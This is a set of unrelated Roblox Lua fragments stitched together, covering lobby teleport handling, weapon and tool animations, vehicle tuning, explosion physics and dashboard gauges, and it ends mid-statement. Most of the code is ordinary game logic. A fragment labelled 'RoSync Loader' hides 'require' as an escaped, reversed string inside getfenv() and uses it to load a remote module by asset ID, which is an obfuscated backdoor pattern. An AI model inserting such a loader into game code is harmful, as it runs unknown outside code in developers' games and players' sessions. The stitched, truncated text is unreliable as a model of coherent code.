Log.Debug.Lobby("Reserved %s for place %s", token, destinationId) _statusEvent:FireClient(player, { status = "Teleporting" }) -- HACK: The token is sent along with the teleport data because there's no way to get access to it from the server itself local creationData = { lobby = game.JobId, creation_id = HttpService:GenerateGUID(), token = token, time = tick(), match_key = destinationKey, place_id = destinationId, game_mode = mode, } _pendingServerCreation[creationData.creation_id] = creationData Lobby._teleportWithRetry(destinationId, token, player, nil, creationData) end function Lobby._detectDeadServers() local expirations = {} local updateClients = false for playerId, request in pairs(_pendingTickets) do if tick() - request.time >= _serverResponseTimeout then expirations[playerId] = request end end for playerId, request in pairs(expirations) do _pendingTickets[playerId] = nil -- Flag this server as non-responsive until it's heard from again local player = Players:GetPlayerByUserId(playerId) Lobby._recordServerFailure(player, request.server) updateClients = true Log.Warn.Lobby("Dead server detected: %s", request.server) Lobby._retryJoin(request) end if updateClients then Lobby._sendServerListToAllClients() end end function Lobby._recordServerFailure(player, server) local userId = player.UserId local failureList = _playerServerFailures[userId] if not failureList then failureList = {} _playerServerFailures[userId] = failureList end failureList[server] = (failureList[server] or 0) + 1 _nonresponsiveServers[server] = (_nonresponsiveServers[server] or 0) + 1 end function Lobby._isServerBlacklisted(player, server) local failureList = _playerServerFailures[player.UserId] return failureList and ((failureList[server] or 0) >= Conf.lobby_teleportation_retries or _nonresponsiveServers[server]) end function Lobby._onJoin(player, data) local pending = _pendingTickets[player.UserId] if data.type == "JOIN" then local mode = data.queue_selection or Conf.default_game_mode local destinationId = Conf.modes[mode].temp_queue_place if Conf.lobby_use_boring_flow then -- Alternate queue place TeleportService:Teleport(destinationId, player) _statusEvent:FireClient(player, { status = "Queueing..." }) else if pending then Log.Warn.Lobby("User %s already has pending join request.", player.Name) return end Log.Debug.Lobby("Player join requested") _joinQueue[player.UserId] = { player = player, place_id = destinationId, game_mode = mode, } TeleportService:Teleport(destinationId, player) _statusEvent:FireClient(player, { status = "Queueing..." }) end elseif data.type == "CANCEL" then _pendingTickets[player.UserId] = nil _statusEvent:FireClient(player, { canceled = true }) elseif data.type == "FAILURE" then -- The client failed during teleportation and we need to retry or blacklist the current server Log.Error.Lobby("Client teleport failed: %s (%s)", player.Name, data.message) if pending then Lobby._recordServerFailure(player, pending.server) Lobby._retryJoin(pending) end end end function Lobby._onPlayerRemoving(player) _pendingTickets[player.UserId] = nil -- TODO: Should this directly tell any server waiting for this player that they won't be making it? -- .Currently that will be handled by the ticket timeout end function Lobby._onPlayerAdded(player) Lobby._sendServerListToClient(player) end function Lobby._onTeleportFailure(player, status, message) Log.Error.Lobby("Teleport Failed: %s (%s)", player.UserId, message) end function Lobby._processJoinQueue() local queue = _joinQueue _joinQueue = {} for _, joinData in pairs(queue) do Lobby._teleportPlayer(joinData.player, joinData.place_id, joinData.game_mode) end end
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim if (toolAnimInstance ~= anim) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName toolAnimInstance = anim currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:Connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:Disconnect() end toolAnimName = "" toolAnimInstance = nil if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end
--
local Supports = {} function Supports.PointCloud(set, direction) local max, maxDot = set[1], set[1]:Dot(direction) for i = 2, #set do local dot = set[i]:Dot(direction) if (dot > maxDot) then max = set[i] maxDot = dot end end return max end function Supports.Cylinder(set, direction) local cf, size2 = unpack(set) direction = cf:VectorToObjectSpace(direction) local radius = math.min(size2.y, size2.z) local dotT, cPoint = direction:Dot(RIGHT), Vector3.new(size2.x, 0, 0) local h, t, final if (dotT == 0) then final = direction.Unit * radius else cPoint = dotT > 0 and cPoint or -cPoint h, t = rayPlane(ZERO, direction, cPoint, RIGHT) final = cPoint + (h - cPoint).Unit * radius end return cf:PointToWorldSpace(final) end function Supports.Ellipsoid(set, direction) local cf, size2 = unpack(set) return cf:PointToWorldSpace(size2 * (size2 * cf:VectorToObjectSpace(direction)).Unit) end return Supports
-- RoundTitle -- Author(s): Jesse Appleton -- Date: 08/31/2022
-- GameplayUi
local InteractionBillboard = PlayerGui.InteractionBillboard local GameplayUi = PlayerGui.GameplayUi local StatsBar = GameplayUi.StatsBar local Level = StatsBar.Level local ProgressBar = StatsBar.ProgressBar local ProgressBarContainer = ProgressBar.Container local ProgressBarFill = ProgressBarContainer.Fill local Star1 = StatsBar.Star1 local Star2 = StatsBar.Star2 local Star3 = StatsBar.Star3 local ClickButton = GameplayUi.ClickButton local showLevelUpBanner = require(GameplayUi.LevelUpBanner.AnimateLevelUpBanner)
--------------------[ JUMPING ANIMATION ]---------------------------------------------
function onFall(initialVelocity) spawn(function() local velocityAlpha = math.max(math.min(initialVelocity / Humanoid.JumpPower, 1), 0) local startJumpPos = jumpAnim.Pos local startJumpRot = jumpAnim.Rot local endJumpPos = 0.04 * S.fallSettings.fallMultiplier * velocityAlpha local endJumpRot = RAD(4) * S.fallSettings.fallMultiplier * velocityAlpha local t0 = tick() while true do RS.Heartbeat:wait() local Alpha = math.min((tick() - t0) / 0.15, 1) * 90 if onGround then break end jumpAnim.Pos = numLerp(startJumpPos, endJumpPos, Sine(Alpha)) jumpAnim.Rot = numLerp(startJumpRot, endJumpRot, Sine(Alpha)) if Alpha == 90 then break end end startJumpPos = endJumpPos startJumpRot = endJumpRot endJumpPos = -0.08 * S.fallSettings.fallMultiplier endJumpRot = -RAD(8) * S.fallSettings.fallMultiplier local X = 1 while true do local dt = RS.Heartbeat:wait() X = X + (dt * 60) / X local Alpha = (X - 1) / 15 if onGround then break end jumpAnim.Pos = numLerp(startJumpPos, endJumpPos, Alpha) jumpAnim.Rot = numLerp(startJumpRot, endJumpRot, Alpha) end end) end function onLand(fallDist) spawn(function() local animAlpha = math.min(fallDist, S.fallSettings.maxDist) * (2 / 3) local startJumpPos = jumpAnim.Pos local startJumpRot = jumpAnim.Rot local endJumpPos = animAlpha / 100 * S.fallSettings.landMultiplier * (runReady and 1 or 2) local endJumpRot = RAD(animAlpha) * S.fallSettings.landMultiplier * (runReady and 1 or 2) local t0 = tick() while true do RS.Heartbeat:wait() local Alpha = math.min((tick() - t0) / 0.2, 1) if (not onGround) then break end jumpAnim.Pos = numLerp(startJumpPos, endJumpPos, Alpha) jumpAnim.Rot = numLerp(startJumpRot, endJumpRot, Alpha) if Alpha == 1 then break end end t0 = tick() while true do RS.Heartbeat:wait() local Alpha = math.min((tick() - t0) / 0.3, 1) * 90 if (not onGround) then break end jumpAnim.Pos = numLerp(endJumpPos, 0, Sine(Alpha)) jumpAnim.Rot = numLerp(endJumpRot, 0, Sine(Alpha)) if Alpha == 90 then break end end end) end function onHumanoidStateChanged(oldState, newState) if newState == Enum.HumanoidStateType.Freefall then onGround = false if S.fallAnimation then onFall(HRP.Velocity.Y) while HRP.Velocity.Y > 0 do RS.RenderStepped:wait() end startFallHeight = HRP.Position.Y end elseif oldState == Enum.HumanoidStateType.Freefall then onGround = true if S.fallAnimation then local fallDist = startFallHeight - HRP.Position.Y onLand(fallDist) end end end
--[[Weight and CG]]
Tune.Weight = 3321 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensionws in studs ; larger = more stable) --[[Width]] 6.5 , --[[Height]] 4.8 , --[[Length]] 17 } Tune.WeightDist = 51 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .7 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.5, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.15,0.1,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() wait(0.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0,-0.25,-1.05) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.5,-1.35,-1) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play() wait(.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.25,-1.35,-1) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.8, 1, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.8, 1, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() objs[5].Mag.Transparency = 1 objs[5].Handle:WaitForChild("MagOut"):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -.15, .75) * CFrame.Angles(math.rad(-90), math.rad(90), math.rad(180))}):Play() wait(1.5) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.8, 1, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.8, 1, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end;
-- << LOCAL FUNCTION >>
local function selectSuggestion(props) local newInput = "" local suggestion = props.suggestionLabels["Label"..props.suggestionPos] if props.specificArg then newInput = suggestion.Name.." " -- props.textBox.Text = newInput coroutine.wrap(function() for i = 1,10 do props.textBox:ReleaseFocus() wait() end end)() wait() props.textBox.Text = newInput else local newInputTable = {} local argPosCount = -1 local firstChar = string.sub(props.textBox.Text,1,1) props.textBox.Text:gsub('([^'..main.pdata.SplitKey..']+)',function(c) argPosCount = argPosCount + 1 if argPosCount > suggestion.ArgPos-1 then return end table.insert(newInputTable, c.." ") end); if argPosCount == 0 and (firstChar == main.settings.UniversalPrefix or firstChar == main.pdata.Prefix) then newInput = firstChar end newInput = newInput..table.concat(newInputTable, "") newInput = newInput..suggestion.Name newInput = newInput..main.pdata.SplitKey -- props.textBox.Text = newInput wait() props.textBox.Text = newInput props.textBox:CaptureFocus() props.textBox.CursorPosition = #newInput+1 end end
-- Controls the lighting effects depending on the player's setting. -- -- ForbiddenJ
Effect1 = game.Lighting.DefaultBloom Effect2 = game.Lighting.DefaultColorCorrection LightingFXEnabled = game.ReplicatedStorage.ClientConfig.LightingFXEnabled function Update() Effect1.Enabled = LightingFXEnabled.Value Effect2.Enabled = LightingFXEnabled.Value end LightingFXEnabled:GetPropertyChangedSignal("Value"):Connect(Update) Update()
--[[ Last synced 7/19/2021 02:56 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--// GUI Variables
local PlayerGUI = Player:WaitForChild("PlayerGui") local MainUI = PlayerGUI:WaitForChild("MainUI") local PetUI = MainUI.PetsFrame local PetsFrame = PetUI.Inventory.Frame local ScrollingFrame = PetsFrame local UIGridLayout = ScrollingFrame.UIGridLayout local shrinkOn = PetUI.Resize.ShrinkOn local getSizes = function() if shrinkOn.Value == true then return Vector2.new(0.02, 0.03), Vector2.new(0.23, 0.28), 4 else return Vector2.new(0.03, 0.04), Vector2.new(0.32, 0.37), 3 end end
-- local Destructible = ExplosionTouchPart:FindFirstChild("RocketDestructible") -- if Destructible and Destructible.Value and RadiusFromBlast < BLAST_RADIUS then -- Destructible.Value = false -- -- RunLocalEffect:FireAllClients("FadePart",ExplosionTouchPart) -- Debris:AddItem(ExplosionTouchPart,3) -- end
--Set the velocity of the part. local DeltaPos = ExplosionTouchPart.Position - Position local Normal = DeltaPos.magnitude == 0 and Vector3.new(0,1,0) or DeltaPos.unit local PartRadius = ExplosionTouchPart.Size.magnitude / 2 local SurfaceArea = PartRadius * PartRadius local Impulse = Normal * BLAST_PRESSURE * SurfaceArea * (1 / 4560) local Fraction = 1 if IsInCharacter then Fraction = 1 - math.max(0, math.min(1,(RadiusFromBlast - 2) / BLAST_RADIUS)) end local CurrentVelocity = ExplosionTouchPart.Velocity local DeltaVelocity = Impulse / ExplosionTouchPart:GetMass() local BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.Velocity = CurrentVelocity + DeltaVelocity BodyVelocity.Parent = ExplosionTouchPart local ForceNeeded = 196.2 * ExplosionTouchPart:GetMass() BodyVelocity.MaxForce = Vector3.new(ForceNeeded,ForceNeeded,ForceNeeded) * 10 * Fraction Debris:AddItem(BodyVelocity,0.2/FORCE_GRANULARITY) local RotImpulse = Impulse * 0.5 * RadiusFromBlast local CurrentRotVelocity = ExplosionTouchPart.RotVelocity local MomentOfInertia = (2 * ExplosionTouchPart:GetMass() * RadiusFromBlast * RadiusFromBlast/5) local DeltaRotVelocity = RotImpulse / MomentOfInertia local AngularVelocity = Instance.new("BodyAngularVelocity") local TorqueNeeded = 20 * MomentOfInertia AngularVelocity.MaxTorque = Vector3.new(TorqueNeeded,TorqueNeeded,TorqueNeeded) * 10 * Fraction AngularVelocity.AngularVelocity = CurrentRotVelocity + DeltaRotVelocity AngularVelocity.Parent = ExplosionTouchPart Debris:AddItem(AngularVelocity,0.2/FORCE_GRANULARITY) end end --Create the explosion. local Explosion = Instance.new("Explosion") Explosion.BlastPressure = 0 Explosion.BlastRadius = BLAST_RADIUS Explosion.Position = Position Explosion.Hit:Connect(OnExplosionHit) Explosion.Parent = game.Workspace --Reparent the script to the explosion and destroy the rocket. FiredByValue.Parent = script script.Parent = Explosion Rocket:Destroy() end end
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult) v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10) end end for i=0,revEnd*2 do local ln = gauges.ln:clone() ln.Parent = gauges.Tach ln.Rotation = 45 + i * 270 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation ln.Frame.Position = UDim2.new(0,-1,0,85) if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(255/255, 0, 76/255) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = gauges.Tach ln2.Rotation = 45 + (i+.5) * 270 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,80) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local blns = Instance.new("Frame",gauges.Boost) blns.Name = "blns" blns.BackgroundTransparency = 1 blns.BorderSizePixel = 0 blns.Size = UDim2.new(0,0,0,0) for i=0,6 do local bln = gauges.bln:clone() bln.Parent = blns bln.Rotation = 25-50*(i/6) if i%2==0 then bln.Frame.Size = UDim2.new(0,2,0,7) bln.Frame.Position = UDim2.new(0,-1,0,62) else bln.Frame.Size = UDim2.new(0,3,0,5) bln.Frame.Position = UDim2.new(0,-1,0,62) end bln.Num:Destroy() bln.Visible=true end if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end isOn.Changed:connect(function() if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) game["Run Service"].RenderStepped:connect(function() gauges.Tach.Needle.Rotation = gauges.Tach.Needle.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness) gauges.Tach.Needle2.Rotation = gauges.Tach.Needle2.Rotation*(Smoothness+0.003) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.003)) gauges.Tach.Needle3.Rotation = gauges.Tach.Needle3.Rotation*(Smoothness+0.006) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.006)) gauges.Tach.Needle4.Rotation = gauges.Tach.Needle4.Rotation*(Smoothness+0.009) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.009)) gauges.Tach.Needle5.Rotation = gauges.Tach.Needle5.Rotation*(Smoothness+0.012) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.012)) gauges.Tach.Needle6.Rotation = gauges.Tach.Needle6.Rotation*(Smoothness+0.015) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.015)) gauges.Tach.Needle7.Rotation = gauges.Tach.Needle7.Rotation*(Smoothness+0.018) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.018)) gauges.Tach.Needle8.Rotation = gauges.Tach.Needle8.Rotation*(Smoothness+0.021) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.021)) gauges.Tach.Needle9.Rotation = gauges.Tach.Needle9.Rotation*(Smoothness+0.024) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.024)) gauges.Tach.Needle10.Rotation = gauges.Tach.Needle10.Rotation*(Smoothness+0.027) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.027)) --[[gauges.Tach.Needle.Rotation = 